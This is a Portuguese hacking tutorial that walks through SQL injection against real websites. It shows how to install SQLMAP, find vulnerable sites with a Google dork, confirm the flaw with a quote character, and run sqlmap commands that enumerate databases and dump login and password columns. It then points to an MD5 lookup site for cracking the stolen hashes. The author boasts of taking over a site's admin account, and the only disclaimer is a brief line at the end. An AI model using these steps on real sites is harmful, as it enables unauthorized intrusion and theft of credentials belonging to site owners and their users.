SQL INJECTION
Encontrando a vulnerabilidade e explorando
Informações são bens preciosos dentro de empresas e sites. Elas estão presentes em banco de dados que organizam estas informações de forma que o sistema possa lê-las e repassa-las para o usuário.
SQL (Structured Query Language/Linguagem de consulta estruturada) é a linguagem padrão para bancos de dados relacionais.
SQL Injection é o tipo de método que permite ao atacante inserir diversas instruções no código fonte SQL do site, permitindo assim o acesso as informações contidas no banco de dados.
É uma falha antiga, porém, diversos programadores cometem este erro hoje em dia.
Há formas de fazer SQL Injection manualmente, o que seria muito demorado, e por isso existem softwares que automatizam a tarefa de injetar o código malicioso.
O mais conhecido é o SQLMAP (Download), com ele é possível realizar o processo de forma
rápida.
Instalação
rápida.
Instalação
-Você precisará do Python 2.7 (Download)
-Instale o Python no diretório padrão (C:\Python27)
-Precione + PauseBreak e clique em "Alterar configurações"
-Instale o Python no diretório padrão (C:\Python27)
-Precione + PauseBreak e clique em "Alterar configurações"
-Vá até a guia "Avançado" e clique no botão "Variáveis de ambiente"
-Na parte de baixo (Variáveis do sistema), procure a variável "Path" e clique em "Editar"
-Coloque um sinal de ; (Ponto e vírgula) no final da variável e após o sinal de ; insira C:\Python27.
-Clique em Ok, Ok e Ok.
-Extraia o SQLMAP para qualquer pasta (Disco Local C: de preferência)
Bom, agora com o SQLMAP instalado, precisamos definir nosso alvo.
Para procurar sites que usam SQL como linguagem para seus bancos de dados, faça o seguinte:
- Entre no Google
- Digite: inurl:".php?id="
Se quiser alvos mais específicos, coloque antes de .php, cadastro, login, usuarios ou algo do tipo. Para que fique mais ou menos assim: inurl:"cadastro.php?id="
Entre em algum site que aparecer nos resultados.
No final do URL do site, insira uma aspa simples. Por exemplo, se o endereço for:
http://www.teste.com/cadastro.php?id=42
Coloque:
http://www.teste.com/cadastro.php?id=42'
Se o site estiver vulnerável, ele te retornará um erro. Erros como estes:
Isto já é meio caminho andado.
Agora precisamos explorar a falha usando o SQLMAP
Vou usar o site www.teste.com como exemplo, mas você use o site que encontrar vulnerável
-Abra seu Prompt de Comando (CMD)
-Navegue até a pasta onde extraiu o SQLMAP usando o comando CD. (Se extraiu no disco local C: faça o comando [cd C:\sqlmapproject-sqlmap-a639dbb]
-Dentro da pasta onde extraiu o SQLMAP, execute o seguinte comando:
python sqlmap.py -u www.teste.com/cadastro.php?id=1 --dbs
(Não se esqueça de trocar www.teste.com/cadastro.php?id=1 pelo URL do site vulnerável)
-O comando acima retornará os banco de dados do site desta forma:
-Execute o comando:
python sqlmap.py -u www.teste.com/cadastro.php?id=1 -D nome_do_banco_de_dados --tables
(No lugar de nome_do_banco_de_dados insira o nome do banco de dados que o comando anterior retornou)
-O comando acima deve retornar as tabelas existentes no banco de dados desta forma:
-Execute o comando:
python sqlmap.py -u www.teste.com/cadastro.php?id=1 -D nome_do_banco_de_dados -T nome_da_tabela --columns
(No lugar de nome_da_tabela você deve inserir o nome de uma das tabelas retornadas pelo SQLMAP)
-O comando acima deve retornar as colunas da tabela que você escolheu, desta forma:
-Execute o seguinte comando:
python sqlmap.py -u www.teste.com/cadastro.php?id=1 -D nome_do_banco_de_dados -T nome_da_tabela -C login,senha --dump
(No lugar de login,senha você deve colocar o nome das colunas que você escolher. Sendo separadas por vírgulas)
-O comando acima deve retornar os registros das colunas que você escolheu desta forma:
Estas informações deveriam ser propriedade somente do administrador do site. No caso acima, eu consegui usuário e senha do administrador do site, o que me permitiu alterar qualquer conteúdo do site.
No caso de senhas, muitas vezes vocês deverão encontrar senhas criptografadas por Hashes MD5. O próprio SQLMAP tem um Brute-Force que poderia quebrar a senha, mas isso pode levar muito tempo, neste caso use este site: http://md5decrypter.co.uk
Ele contém milhões destas Hashes já quebradas, quem sabe não pode te ajudar ;)
Lembre-se, o uso deste método para destruir sites ou vender informações É CRIME, então use somente para fins de teste ou para informar o administrador do site que existe esta falha.
Hackers Net Devil